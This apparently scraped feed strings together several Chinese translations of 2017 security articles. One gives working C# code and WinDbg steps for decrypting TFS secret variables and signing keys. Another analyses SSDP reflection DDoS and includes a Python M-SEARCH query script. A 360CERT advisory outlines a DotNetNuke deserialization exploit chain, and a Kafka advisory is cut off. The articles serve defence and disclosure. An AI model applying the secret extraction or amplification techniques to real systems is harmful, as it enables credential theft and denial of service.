【技术分享】如何解密TFS的秘密变量

正如你所看到的那样,tbl_StrongBoxDrawer表中的某一行引用了build的定义,同时对秘密变量进行了分组。tbl_StrongBoxItem表以加密形式存储了秘密变量所对应的所有值(包括我们当前的秘密变量)。最后,tbl_SigningKey表存储了某些私钥,这些私钥可能会在加密过程中使用。

现在是启动dnspy工具、开始更为细致分析的时候了。AddStream方法包含将敏感信息添加到TFS数据库的逻辑处理流程。首先,秘密变量值经过AES加密(使用了自动生成的密钥以及随机初始化的向量)并保存在一个byte数组中。其次,AES密钥经过签名密钥的加密,并被保存到另一个byte数组中。最后,这两个表以及初始化向量会被保存为与秘密向量有关的加密值。对于本文使用的例子来说,这个加密值如下所示:


【技术分享】如何解密TFS的秘密变量

而签名密钥会以RSA CSP数据块的形式保存,如下所示:


【技术分享】如何解密TFS的秘密变量

当你从数据库中提取这段数据后,你可以使用如下示例代码进一步解压这段数据:

byte[]aesKey; using(RSACryptoServiceProviderrsaCryptoServiceProvider=newRSACryptoServiceProvider(2048, newCspParameters{Flags=CspProviderFlags.UseMachineKeyStore})){ varcspBlob="...hexstring..."; rsaCryptoServiceProvider.ImportCspBlob(Hex.FromHexString(cspBlob)); varencryptedAesKey="...hexstring..."; aesKey=rsaCryptoServiceProvider.Decrypt(Hex.FromHexString(encryptedAesKey),true); } variv=Hex.FromHexString("...hexstring..."); varcipher=Hex.FromHexString("...hexstring..."); using(varaes=Aes.Create()){ vartransform=aes.CreateDecryptor(aesKey,iv); using(varencryptedStream=newMemoryStream(cipher)){ using(varcryptoStream=newCryptoStream(encryptedStream,transform,CryptoStreamMode.Read)){ using(vardecryptedStream=newMemoryStream()){ cryptoStream.CopyTo(decryptedStream); Console.WriteLine(Hex.PrettyPrint(decryptedStream.ToArray())); } } } }

如上所述,tbl_SigningKey表包含非常敏感的数据,因此你必须确保只有经过认证的用户才能访问这个表。TFS在这里竟然没有使用任何DPAPI或者其他加密机制,这让我非常惊讶。


三、揭开秘密变量的神秘面纱

前文中,我们利用存在数据库中相关数据成功解密了秘密变量,但实际上还有更为简单的方法。如果你可以修改build/release任务管道,那么你就可以很方便地创建一个PowerShell任务,如下所示:


【技术分享】如何解密TFS的秘密变量

由于字符串中第一个字符与剩余字符之间有一个空格,因此输出不会被屏蔽,你可以以在日志中看到明文形式的密码:


【技术分享】如何解密TFS的秘密变量

因此,你可以得出结论,如果人们能够修改build/release任务管道,或者人们可以修改任务管道中使用的脚本内容,那么他们就能读取秘密变量的值。


四、从TFS内存中提取秘密变量

最后,让我们研究一下TFS服务器进程(w3wp.exe)的内存,看看我们能从中获得什么信息。我将这个进程的全部内存导出到一个文件中,然后使用WinDbg打开这个文件(WinDbg已事先加载了SOSEX以及SOS扩展)。先来列出StrongBoxItemInfo的所有实例信息:

0:000>!mx*.StrongBoxItemInfo AppDomain0000000001eb8b50(/LM/W3SVC/2/ROOT/tfs-1-131555514123625000) --------------------------------------------------------- module:Microsoft.TeamFoundation.Framework.Server class:Microsoft.TeamFoundation.Framework.Server.StrongBoxItemInfo module:Microsoft.TeamFoundation.Client class:Microsoft.TeamFoundation.Framework.Client.StrongBoxItemInfo … 0:000>.foreach(addr{!DumpHeap-short-mt000007fe92560f80}){!mdtaddr} ... 0000000203419dc8(Microsoft.TeamFoundation.Framework.Server.StrongBoxItemInfo) <drawerid>k__BackingField:(System.Guid){c2808c4d-0c0d-43e5-b4b2-e743f5121cdd}VALTYPE(MT=000007feef467350,ADDR=0000000203419df8) <itemkind>k__BackingField:0x00(String)(Microsoft.TeamFoundation.Framework.Server.StrongBoxItemKind) <lookupkey>k__BackingField:000000020341a1f8(System.String)Length=24,String="9/variables/amiprotected" <signingkeyid>k__BackingField:(System.Guid){c2808c4d-0c0d-43e5-b4b2-e743f5121cdd}VALTYPE(MT=000007feef467350,ADDR=0000000203419e08) <expirationdate>k__BackingField:(System.Nullable`1[[System.DateTime,mscorlib]])VALTYPE(MT=000007feef4c13b8,ADDR=0000000203419e18) <credentialname>k__BackingField:NULL(System.String) <encryptedcontent>k__BackingField:000000020341a3f0(System.Byte[],Elements:312) <value>k__BackingField:NULL(System.String) <fileid>k__BackingField:0xffffffff(System.Int32) … LookupKey这个字段包含变量的名称。为了将其与build/release定义结合起来,我们需要找到Id等于c2808c4d-0c0d-43e5-b4b2-e743f5121cdd的StrongBoxDrawerName实例。但我们的主要任务是解密EncryptedContent字段的值,为了完成这个任务,我们需要得到签名密钥(id: c2808c4d-0c0d-43e5-b4b2-e743f5121cdd)。TFS会在缓存中保存最近使用的签名密钥,因此如果我们运气不错的话,我们还是有可能在缓存中找到这个签名密钥。这个过程稍显漫长,首先,我们需要列出TeamFoundationSigningService+SigningServiceCache类的所有实例:
0:000>!mx*.TeamFoundationSigningService+SigningServiceCache module:Microsoft.TeamFoundation.Framework.Server class:Microsoft.TeamFoundation.Framework.Server.TeamFoundationSigningService+SigningServiceCache 0:000>!DumpHeap-mt000007fe932d99e0 AddressMTSize ... 0000000203645ce0000007fe932d99e096

然后,一路跟踪对象树,找到与我们有关的那个私钥:

Microsoft.TeamFoundation.Framework.Server.TeamFoundationSigningService+SigningServiceCache |-m_cacheData(00000002036460a0) |-m_cache(0000000203646368) |-m_dictionary(0000000203646398) 0:000>!mdt0000000203646398-e:2-start:0-count:2 … [1](…)VALTYPE(MT=000007fe969d7160,ADDR=0000000100d6d510) key:(System.Guid){c2808c4d-0c0d-43e5-b4b2-e743f5121cdd}VALTYPE(MT=000007feefdc7350,ADDR=0000000100d6d520) value:000000020390d440 |-Value(000000020390d410) |-<Value>k__BackingField(000000020390d3f0) |-m_Item1(000000020390d2b0) 0:000>!mdt000000020390d2b0 000000020390d2b0(Microsoft.TeamFoundation.Framework.Server.SigningServiceKey) <keydata>k__BackingField:000000020390ce00(System.Byte[],Elements:1172) <keytype>k__BackingField:0x0(RSAStored)(Microsoft.TeamFoundation.Framework.Server.SigningKeyType)

其实一开始我们可以直接搜索SigningServiceKey类的实例。但如果这么做,我们需要打印出所有的GC根,逐一检查,核实其Id是否就是我们正在查找的那个Id。我发现这种自上而下的方法会更为容易一些(但这个方法还是稍显乏味)。


五、总结

希望这篇文章能对读者有所帮助。根据本文分析,我们认为还是有办法能够安全地保存TFS秘密变量中的敏感数据,但首先要做到以下几点:

1、只有授权用户可以修改build/release管道(包括使用秘密变量的任务的内容)。

2、只有授权用户可以访问TFS数据库中的tbl_SigningKey表。

此外,我们也可以使用精心配置的TFS代理,配合密钥库或者某些本地DPAPI加密块来执行所有的敏感任务。



【技术分享】如何解密TFS的秘密变量
【技术分享】如何解密TFS的秘密变量
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://lowleveldesign.org/2017/07/04/decrypting-tfs-secret-variables/

【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量

$
0
0
【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量

2017-08-02 17:48:32

阅读:547次
点赞(0)
收藏
来源: blog.cloudflare.com





【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量

作者:興趣使然的小胃





【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

上一个月,我们发表了一篇分析文章,与大家分享了常见的反弹式攻击的统计信息。当时SSDP攻击的平均流量大约为12 Gbps,被我们记录在案的规模最大的SSDP(Simple Service Discovery Protocol,简单服务发现协议)反弹式攻击有以下几点统计数据:

1、30 Mpps(每秒发送上百万个包)

2、80 Gbps(每秒发送数十亿个比特)

3、大约使用了94万个IP用于反弹攻击

几天以前,我们发现了一个规模异常巨大的SSDP放大攻击,再次刷新了这些记录。这次攻击值得好好深入研究一番,因为它的规模已经超过了100Gbps这个阈值。

整个攻击过程中,每秒发送的数据包走向大致如下图所示:


【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量

带宽占用情况如下图所示:


【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量

整个数据包洪泛攻击持续了38分钟。根据我们采样的网络数据流,我们发现这次攻击用到了93万个反弹服务器。我们估计在时长38分钟的攻击中,每个反弹服务器往Cloudflare发送了11.2万个数据包。

反弹服务器遍布全球,其中以阿根廷、俄罗斯以及中国的服务器占比最大。以IP数统计的话,反弹服务器在每个国家或地区的分布情况如下所示:

$catips-nf-ct.txt|uniq|cut-f2|sort|uniq-c|sort-nr|head 439126CN 135783RU 74825AR 51222US 41353TW 32850CA 19558MY 18962CO 14234BR 10824KR 10334UA 9103IT ... 反弹服务器所在的IP分布与ASN的规模成正比,这些服务器通常位于全世界最大的家用ISP(Internet Service Provider,互联网服务提供商)网络中,如下所示:
$catips-nf-asn.txt|uniq|cut-f2|sort|uniq-c|sort-nr|head 3184054837#CNChinaUnicom 847814134#CNChinaTelecom 7230122927#ARTelefonicadeArgentina 238233462#TWChunghwaTelecom 195186327#CAShawCommunicationsInc. 194644788#MYTMNet 188093816#COColombiaTelecomunicaciones 1132828573#BRClaroSA 707010796#USTimeWarnerCableInternet 68408402#RUOJSC"Vimpelcom" 66043269#ITTelecomItalia 637712768#RUJSC"ER-TelecomHolding" ...

二、何为SSDP

攻击所用的报文为UDP报文,源端口为1900。SSDP协议使用的正是这个端口,而SSDP协议是UPnP的核心协议之一。UPnP是零配置(zero-configuration)网络协议的一种。大众使用的家庭设备一般都支持这个协议,以便用户的主机或手机能够轻松发现这些设备。当一个新的设备(比如说笔记本)加入到网络中时,它可以向本地网络查询特定设备是否存在,这些设备包括互联网网关、音频系统、TV或者打印机等。读者可以参考此处阅读UPnP与Bonjour的详细对比。

UPnP协议的标准化做的不尽如人意,在有关M-SEARCH请求报文的规范文档中,部分内容摘抄如下(这也是UPnP在探测设备时使用的主要方法):

“当某个控制节点(control point)加入到网络中时,控制节点可以根据需要使用UPnP探测协议搜索网络中的其他设备。在搜索过程中,控制节点通过在保留地址及相关端口(239.255.255.250:1900)上广播请求来查找其他设备,所使用的搜索消息包含特定的模式,不同的设备或服务具有不同的类型和标识符”。

规范中关于M-SEARCH报文的应答有如下说明:

“为了能被网络搜索发现,目标设备应该向发起多播请求的源IP地址及端口发送单播UDP响应。如果M-SEARCH请求报文的ST头部字段以“ssdp:all”、“upnp:rootdevice”或者“uuid:”开头,后面跟着与设备相匹配的UUID信息,或者如果M-SERCH请求与设备支持的设备类型或服务类型相匹配,那么该设备就会应答M-SEARCH请求报文”。

这种策略在实际环境中能够正常工作。例如,我的Chrome浏览器经常会请求搜索智能电视:

$sudotcpdump-nieth0udpandport1900-A IP192.168.1.124.53044>239.255.255.250.1900:UDP,length175 M-SEARCH*HTTP/1.1 HOST:239.255.255.250:1900 MAN:"ssdp:discover" MX:1 ST:urn:dial-multiscreen-org:service:dial:1 USER-AGENT:GoogleChrome/58.0.3029.110windows

这个报文被发往一个多播IP地址。监听这一地址的其他设备如果与报文头部中指定的ST(search-target,搜索目标)多屏幕类型设备相匹配,那么这些设备应该会响应这个请求报文。

除了请求具体的设备类型,请求报文中还可以包含两类“通用的”ST查询类型:

1、upnp:rootdevice:搜索root设备

2、ssdp:all:搜索所有的UPnP设备以及服务

你可以运行以下python脚本(在另一脚本的基础上修改而得),使用前面提到的这些ST查询类型来枚举网络中的设备列表:

#!/usr/bin/envpython2 importsocket importsys dst="239.255.255.250" iflen(sys.argv)>1: dst=sys.argv[1] st="upnp:rootdevice" iflen(sys.argv)>2: st=sys.argv[2] msg=[ 'M-SEARCH*HTTP/1.1', 'Host:239.255.255.250:1900', 'ST:%s'%(st,), 'Man:"ssdp:discover"', 'MX:1', ''] s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM,socket.IPPROTO_UDP) s.settimeout(10) s.sendto('\r\n'.join(msg),(dst,1900)) whileTrue: try: data,addr=s.recvfrom(32*1024) exceptsocket.timeout: break print"[+]%s\n%s"%(addr,data)

在我个人的家庭网络中,我总共发现了两个设备:

$pythonssdp-query.py [+]('192.168.1.71',1026) HTTP/1.1200OK CACHE-CONTROL:max-age=60 EXT: LOCATION:http://192.168.1.71:5200/Printer.xml SERVER:NetworkPrinterServerUPnP/1.0OS1.29.00.4406-17-2009 ST:upnp:rootdevice USN:uuid:Samsung-Printer-1_0-mrgutenberg::upnp:rootdevice [+]('192.168.1.70',36319) HTTP/1.1200OK Location:http://192.168.1.70:49154/MediaRenderer/desc.xml Cache-Control:max-age=1800 Content-Length:0 Server:linux/3.2UPnP/1.0Network_Module/1.0(RX-S601D) EXT: ST:upnp:rootdevice USN:uuid:9ab0c000-f668-11de-9976-000adedd7411::upnp:rootdevice

三、防火墙配置不当

现在我们对SSDP的基本概念有了一定程度的了解,那么理解反弹式攻击也不是件难事了。我们可以使用两种方式发送M-SEARCH报文:

1、如前文所述,我们可以使用多播地址发送这个报文

2、使用普通单播地址上的启用UPnP/SSDP协议的主机

第二种方法也是行之有效的,例如,我们可以将我的打印机所在的IP地址作为目标:

$pythonssdp-query.py192.168.1.71 [+]('192.168.1.71',1026) HTTP/1.1200OK CACHE-CONTROL:max-age=60 EXT: LOCATION:http://192.168.1.71:5200/Printer.xml SERVER:NetworkPrinterServerUPnP/1.0OS1.29.00.4406-17-2009 ST:upnp:rootdevice USN:uuid:Samsung-Printer-1_0-mrgutenberg::upnp:rootdevice

现在问题已经变得非常明朗了:SSDP协议并没有检查请求报文是否来自于设备所在的那个网络。即便M-SEARCH报文来自于互联网,设备也会积极应答这个报文。如果防火墙配置不当,将1900这个UDP端口暴露在互联网中,那么这个端口就会成为UDP放大攻击的绝佳目标。

如果目标配置不当,我们的脚本就可以在互联网中畅通无阻:

$pythonssdp-query.py100.42.x.x [+]('100.42.x.x',1900) HTTP/1.1200OK CACHE-CONTROL:max-age=120 ST:upnp:rootdevice USN:uuid:3e55ade9-c344-4baa-841b-826bda77dcb2::upnp:rootdevice EXT: SERVER:TBS/R2UPnP/1.0MiniUPnPd/1.2 LOCATION:http://192.168.2.1:40464/rootDesc.xml

四、报文放大

ST类型中,ssdp:all这个类型所造成的破坏更加明显,这个类型的响应报文体积上更为庞大:

$pythonssdp-query.py100.42.x.xssdp:all [+]('100.42.x.x',1900) HTTP/1.1200OK CACHE-CONTROL:max-age=120 ST:upnp:rootdevice USN:uuid:3e55ade9-c344-4baa-841b-826bda77dcb2::upnp:rootdevice EXT: SERVER:TBS/R2UPnP/1.0MiniUPnPd/1.2 LOCATION:http://192.168.2.1:40464/rootDesc.xml [+]('100.42.x.x',1900) HTTP/1.1200OK CACHE-CONTROL:max-age=120 ST:urn:schemas-upnp-org:device:InternetGatewayDevice:1 USN:uuid:3e55ade9-c344-4baa-841b-826bda77dcb2::urn:schemas-upnp-org:device:InternetGatewayDevice:1 EXT: SERVER:TBS/R2UPnP/1.0MiniUPnPd/1.2 LOCATION:http://192.168.2.1:40464/rootDesc.xml ...6moreresponsepackets....

在这个特定的场景中,一个SSDP M-SEARCH报文就能触发8个响应报文。tcpdump结果如下所示:

$sudotcpdump-nien7host100.42.x.x-ttttt 00:00:00.000000IP192.168.1.200.61794>100.42.x.x.1900:UDP,length88 00:00:00.197481IP100.42.x.x.1900>192.168.1.200.61794:UDP,length227 00:00:00.199634IP100.42.x.x.1900>192.168.1.200.61794:UDP,length299 00:00:00.202938IP100.42.x.x.1900>192.168.1.200.61794:UDP,length295 00:00:00.208425IP100.42.x.x.1900>192.168.1.200.61794:UDP,length275 00:00:00.209496IP100.42.x.x.1900>192.168.1.200.61794:UDP,length307 00:00:00.212795IP100.42.x.x.1900>192.168.1.200.61794:UDP,length289 00:00:00.215522IP100.42.x.x.1900>192.168.1.200.61794:UDP,length291 00:00:00.219190IP100.42.x.x.1900>192.168.1.200.61794:UDP,length291

这个目标完成了8倍的报文放大作用,以及26倍的带宽放大作用。不幸的是,这种情况对SSDP来说普遍存在。


五、IP地址欺骗

攻击所需的最后一个步骤就是欺骗存在漏洞的服务器,让它代替攻击者向目标IP发起洪泛攻击。为了做到这一点,攻击者需要在请求报文中使用源IP地址欺骗技术。

我们对此次攻击中使用的反弹式IP地址进行了探测。我们发现在92万个反弹IP中,只有35万个IP(约占38%)会响应我们的SSDP探测报文。

有响应的反弹IP节点中,平均每个节点发送了7个数据包:

$catresults-first-run.txt|cut-f1|sort|uniq-c|sed-s's#^\+##g'|cut-d""-f1|~/mmhistogram-t"ResponsepacketsperIP"-p ResponsepacketsperIPmin:1.00avg:6.99med=8.00max:186.00dev:4.44count:350337 ResponsepacketsperIP: value|--------------------------------------------------count 0|******************************23.29% 1|****3.30% 2|**2.29% 4|**************************************************38.73% 8|**************************************29.51% 16|***2.88% 32|0.01% 64|0.00% 128|0.00%

响应报文平均大小为321字节(正负29字节)。我们的请求报文大小为110字节。

根据我们的测量结果,攻击者使用包含ssdp:all头部的M-SEARCH报文能够达到以下效果:

1、7倍的数据包放大效果

2、20倍的带宽放大效果

据此,我们可以推测出,生成43 Mpps/112 Gbps的攻击大概需要:

1、6.1 Mpps的伪造报文容量

2、5.6 Gbps的伪造报文带宽

换句话说,一个连接稳定的具备10 Gbps带宽的服务器就可以通过IP地址欺骗技术发起这种规模的SSDP攻击。


六、关于SSDP服务器的更多说明

根据我们对SSDP服务器的探测结果,我们从响应报文的Server头部中,梳理出最常见的几个设备信息,如下所示:

104833Linux/2.4.22-1.2115.nptlUPnP/1.0miniupnpd/1.0 77329System/1.0UPnP/1.0IGD/1.0 66639TBS/R2UPnP/1.0MiniUPnPd/1.2 12863Ubuntu/7.10UPnP/1.0miniupnpd/1.0 11544ASUSTeKUPnP/1.0MiniUPnPd/1.4 10827miniupnpd/1.0UPnP/1.0 8070LinuxUPnP/1.0Huawei-ATP-IGD 7941TBS/R2UPnP/1.0MiniUPnPd/1.4 7546Net-OS5.xxUPnP/1.0 6043LINUX-2.6UPnP/1.0MiniUPnPd/1.5 5482Ubuntu/lucidUPnP/1.0MiniUPnPd/1.4 4720AirTies/ASP1.0UPnP/1.0miniupnpd/1.0 4667Linux/2.6.30.9,UPnP/1.0,PortableSDKforUPnPdevices/1.6.6 3334Fedora/10UPnP/1.0MiniUPnPd/1.4 28141.0 2044miniupnpd/1.5UPnP/1.0 13301 1325Linux/2.6.21.5,UPnP/1.0,PortableSDKforUPnPdevices/1.6.6 843Allegro-Software-RomUpnp/4.07UPnP/1.0IGD/1.00 776Upnp/1.0UPnP/1.0IGD/1.00 675Unspecified,UPnP/1.0,Unspecified 648WNR2000v5UPnP/1.0miniupnpd/1.0 562MIPSLINUX/2.4UPnP/1.0miniupnpd/1.0 518Fedora/8UPnP/1.0miniupnpd/1.0 372TendaUPnP/1.0miniupnpd/1.0 346Ubuntu/10.10UPnP/1.0miniupnpd/1.0 330MF60/1.0UPnP/1.0miniupnpd/1.0 ...

最常见的ST头部值如下所示:

298497upnp:rootdevice 158442urn:schemas-upnp-org:device:InternetGatewayDevice:1 151642urn:schemas-upnp-org:device:WANDevice:1 148593urn:schemas-upnp-org:device:WANConnectionDevice:1 147461urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1 146970urn:schemas-upnp-org:service:WANIPConnection:1 145602urn:schemas-upnp-org:service:Layer3Forwarding:1 113453urn:schemas-upnp-org:service:WANPPPConnection:1 100961urn:schemas-upnp-org:device:InternetGatewayDevice: 100180urn:schemas-upnp-org:device:WANDevice: 99017urn:schemas-upnp-org:service:WANCommonInterfaceConfig: 98112urn:schemas-upnp-org:device:WANConnectionDevice: 97246urn:schemas-upnp-org:service:WANPPPConnection: 96259urn:schemas-upnp-org:service:WANIPConnection: 93987urn:schemas-upnp-org:service:Layer3Forwarding: 91108urn:schemas-wifialliance-org:device:WFADevice: 90818urn:schemas-wifialliance-org:service:WFAWLANConfig: 35511uuid:IGD{8c80f73f-4ba0-45fa-835d-042505d052be}000000000000 9822urn:schemas-upnp-org:service:WANEthernetLinkConfig:1 7737uuid:WAN{84807575-251b-4c02-954b-e8e2ba7216a9}000000000000 6063urn:schemas-microsoft-com:service:OSInfo:1 ... 根据结果,存在漏洞的IP似乎都是未经保护的家用路由器。

七、开放式SSDP已经成为突破口

为了能从互联网访问家用打印机而开放1900 UDP端口,这并不是件多么新奇的事情,但并不是个好主意。早在2013年,已经有研究结果指出了相关问题的存在。

SSDP的作者显然没有考虑UDP报文放大攻击可能造成的破坏性。人们已经提了若干个建议,以便在未来安全地使用SSDP协议,如下:

1、SSDP的作者应该明确真实世界中使用单播地址发起M-SEARCH查询报文的必要性。根据我的理解,只有在本地局域网中以多播方式查询时M-SEARCH报文才有实际意义。

2、单播形式的M-SEARCH应该被废弃,或者在查询速率上有所限制,与DNS响应速率限制方案类似。

3、M-SEARCH响应报文只能投递到本地网络中。发往外网的响应报文不仅意义不大,而且容易存在漏洞。

与此同时,我们有如下提议:

1、网络管理员应当确认防火墙会阻拦使用UDP 1900端口的入站请求。

2、互联网服务商绝对不应该允许IP地址欺骗技术横行其道。IP地址欺骗技术是这个问题的根本原因,读者了解臭名昭著的BCP38就能理解这一点。

3、互联网服务商应该允许他们的客户使用BGP Flowspec功能来限制从来自于UDP 1900源端口的入站流量。

4、互联网服务商应该在内部收集netflow协议样本。我们需要使用netflow来识别发起攻击的真正来源。通过netflow,我们可以快速得出问题的答案,类似问题包括“哪些客户向1900端口发送了6.4Mpps的网络流量?”等。由于隐私保护问题,我们建议服务商在隐私保护前提下尽可能地收集netflow样本数据,比如6.4万个报文中抽样1个报文来收集信息。这种采样频率对跟踪DDoS而言已经足够,同时也能保留单个客户的隐私信息。

5、开发者在没有考虑UDP报文放大问题时,不要过于着急推出自己的UDP协议。UPnP协议应当经过适当的标准化和审查。

6、我们倡导终端用户使用如上脚本在他们的网络中扫描支持UPnP的设备,然后决定哪些设备可以连接互联网。

此外,我们推出了一个在线检查网站。如果你想知道你的公共IP地址是否暴露存在漏洞的SSDP服务,你可以访问此链接进行检测。

令人遗憾的是,此次攻击中我们看到大量路由器来自于中国、俄罗斯以及阿根廷,我们对这些地方的互联网状况不是特别了解。


八、总结

我们的客户能够完全免疫此类SSDP攻击以及其他的L3放大攻击,我们的基础设施足以抵御此类这些攻击,客户不需要做特别的操作。不幸的是,对其他互联网公众而言,这种大规模的SSDP攻击可能是一个严峻的问题。我们应该建议ISP在内部网络中禁用IP伪装技术,提供BGP Flowspec功能,配置netflow数据收集选项。

感谢Marek Majkowski以及Ben Cartwright-Cox的辛勤劳动成果。



【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量
【技术分享】如何利用SSDP协议生成100Gbps的DDoS流量
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.cloudflare.com/ssdp-100gbps

【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

$
0
0
【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

2017-08-02 20:45:01

阅读:333次
点赞(0)
收藏
来源: 安全客





【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

作者:360CERT





【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

作者:k1n9 && RickyHao@360CERT


0x00 背景介绍

DNN uses web cookies to identify users. A malicious user can decode one of such cookies and identify who that user is, and possibly impersonate other users and even upload malicious code to the server.

--DNN security-center

2017 年 7 月 5 日,DNN 安全板块发布了一个编号 CVE-2017-9822 的严重漏洞 ,随后漏洞报告者 Alvaro Muoz (@pwntester)和 Oleksandr Mirosh在 BlackHat USA 2017 上披露了其中的一些细节。

360CERT 跟进分析了该漏洞及其在.net 中使用 XmlSerializer 进行序列化/反序列化的攻击利用场景,确认为严重漏洞。


0x01 漏洞概述

DNNPersonalization 是一个在 DNN 中用于存放未登录用户的个人数据 的 Cookie,该 Cookie 可以被攻击者修改从而实现对服务器进行任意文件上传,远程代码执行等攻击。


0x02 漏洞攻击面影响

1. 影响面

漏洞等级: 严重

据称,全球有超过 75 万的用户在使用 DNN 来搭建他们的网站,影响范围大。

2.影响版本

从 5.0.0 到 9.1.0 的所有版本

3. 修复版本

DNN Platform 9.1.1 和 EVOQ 9.1.1


0x03 漏洞详情

1. 漏洞代码

PersonalizationController.cs 66-72 行:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

从 Cookie 中获取到 DNNPersonalization 的值后再传给 Globals 中的DeserializeHashTableXml 方法。

Globals.cs 3687-3690 行:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

再跟进 XmlUtils 中的 DeSerializeHashtable 方法。

XmlUtils.cs 184-218 行:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

该方法会使用 item 元素中的 type 属性值来设置类型,并且会在 208 行这里将该元素的内容进行反序列化,这里便是漏洞的触发点了。漏洞代码中从可控输入点到最终可利用处的这个过程还是比较直观的,接下来是针对像这样使用了XmlSerializer 来反序列化的漏洞点进行攻击利用分析。


0x04 攻击利用分析

1. XmlSerializer 的使用


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

在对一个类进行序列化或者反序列化的时候都需要传入该类的类型信息。看 下生成的序列化数据形式:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

就是一个 XML 文档,类名和成员变量都是元素来表示。

2. 利用链的构造

修改下上面的 TestClass 类,对其中的成员变量 test 进行封装。


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

这时候再去观察代码在反序列化时的输出,可以明显知道 setter 被自动调用 了,因此 setter 便可以作为利用链的第一步。接下来就是要去找一些可以被用作攻击使用的类了。

System.windows.Data.ObjectDataProvider 可以调用任意在运行时被引用的类的任意方法。一个例子:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

相当 于 调 用 了 TestClass.FuncExample(“JustATest!”) ,ObjectDataProvider 中的成员变量都进行了封装的,并且每次调用了 setter 后都会检测参数是否足够,足够了的话便会自动去调用传入的方法。其中的过程借 用 BlackHat 议题中的一张图来展示。


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

如此一来要是被序列化的是一个 ObjectDataProvider 类,那么在反序列的 时候便可以做到任意方法调用的效果。再找一个存在能达到想要的利用效果的方 法的类就行了,例如 DNN 中的就存在一个可以做到任意文件上传效果的类,

DotNetNuke.Common.Utilities.FileSystemUtils 中的 PullFile 方法:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

3. Payload 生成

要生成 payload 还有一点问题需要解决,就是 ObjectDataProvider 包含一 个 System.Object 成员变量(objectInstance),执行的时候 XmlSerializer 不知道这个变量具体的类型,导致没法序列化。但是这个问题可以通过使用ExpandedWrapper 扩展属性的类型来解决。


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

生成的内容如下:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

DNN 是通过获取 item 的属性 type 的值,然后调用 Type.GetType 来得到序列化数据的类型再进行反序列化。这样的话需要加上相应的程序集的名称才行, 可以通过下面的代码得到 type 的值:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

结合 DNN 的代码生成最终的 Payload:


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

0x05 漏洞利用验证

将漏洞触发点所在 DeSerializeHashtable 函数放到本地来做一个漏洞利用验证。


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

再看服务器端,可以看到漏洞利用成功。


【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警

0x06 修复建议

360CERT 建议升级到最新的版本 DNN Platform 9.1.1 或者 EVOQ 9.1.1。


0x07 时间线

2017-7-5 官方发布安全公告并提供修复更新

2017-8-2 360CERT 完成对漏洞的分析并形成报告


0x08 参考文档

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Frida y-The-13th-Json-Attacks.pdf



【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警
【漏洞分析】DotNetNuke 任意代码执行漏洞(CVE-2017-9822)分析预警
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4189.html

【漏洞分析】Apache Kafka readObject漏洞分析报告

$
0
0
【漏洞分析】Apache Kafka readObject漏洞分析报告

2017-08-02 21:15:43

阅读:1055次
点赞(0)
收藏
来源: 安全客





【漏洞分析】Apache Kafka readObject漏洞分析报告

作者:360CERT






【漏洞分析】Apache Kafka readObject漏洞分析报告

作者:c1tas@360CERT



I.背景介绍

Apache Kafka 是开源的Apache流处理平台,由 Apache编写,采用scala与java。该项目旨在于提供一个统一的、高吞吐量的、低延迟的实时数据处理平台。


II.漏洞概述

Kafka 内部实现一个带有readObject方法的并且未带有任何校验的危险类,如果用户在使用该框架中,使用了该类的话,通过设置相关参数后实例化该类的时候会导致远程代码执行。

360CERT对此漏洞进行跟踪分析,考虑到实际生产环境这样的代码逻辑并不常见,根据影响,确认为中低危漏洞。


III.漏洞详情

A.简要技术细节

漏洞成因描述和简要技术细节(可参考官方安全公告technical details)

org.apache.kafka.connect.storage.FileOffsetBackingStore 这个 class 拥有一个反序列化操作,在执行

FileOffsetBackingStore 对象的start方法时候会触发并反序列恶意序列化对象,导致代码执行。

因为Kafka是一个开源的框架,如果用户在使用的过程中实现了类似实例化FileOffsetBackingStore这个对象,并且传入参数受到控制的业务逻辑的话就会受到该漏洞的影响。

B.影响版本

Apache Kafka

0.10.0.0 -> 0.11.0.0(latest)

均受到影响


IV.漏洞细节分析

